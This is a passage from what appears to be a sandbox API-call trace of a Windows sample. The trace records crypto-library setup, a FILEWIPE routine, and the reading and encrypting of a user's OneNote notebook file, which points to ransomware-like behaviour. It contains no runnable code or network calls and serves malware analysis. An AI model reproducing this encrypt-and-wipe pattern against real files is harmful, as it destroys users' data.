wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.651] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.651] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.651] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.652] CryptDestroyKey (hKey=0xe8f4062790) returned 1 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.652] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.652] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.652] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.652] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.652] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.652] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.652] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.652] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.652] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.652] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.652] CryptReleaseContext (hProv=0xe8f4199a20, dwFlags=0x0) returned 1 [0025.653] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.653] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.653] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.653] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0025.653] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.653] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.653] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.653] CloseHandle (hObject=0x1fc) returned 1 [0025.654] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.654] CloseHandle (hObject=0x188) returned 1 [0025.657] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.659] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.659] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.660] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.660] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one" (normalized: "c:\\users\\5jghkoaofdp\\documents\\onenote notebooks\\my notebook\\quick notes.one")) returned 0x20 [0025.660] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.660] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f406a310 [0025.660] FindClose (in: hFindFile=0xe8f406a310 | out: hFindFile=0xe8f406a310) returned 1 [0025.660] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.660] CharLowerBuffW (in: lpsz="byte[362024]", cchLength=0xc | out: lpsz="byte[362024]") returned 0xc [0025.666] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.666] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.667] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.670] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.670] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0025.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40645c0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0025.671] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.671] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.671] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.672] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.673] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.673] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.673] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.673] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.673] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.673] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.673] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.673] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.673] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.674] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.674] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.674] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.674] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.674] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.674] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.674] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.676] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.680] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.680] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.680] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.680] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.680] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.680] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.680] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.681] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0025.681] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=5442) returned 1 [0025.681] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.681] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0025.681] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0025.681] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1542, lpOverlapped=0x0) returned 1 [0025.681] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0025.681] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1542, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.681] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=5442) returned 1 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.682] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0025.682] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.682] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.682] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0025.682] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.682] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0025.682] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.682] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.683] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0025.683] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.683] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.683] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 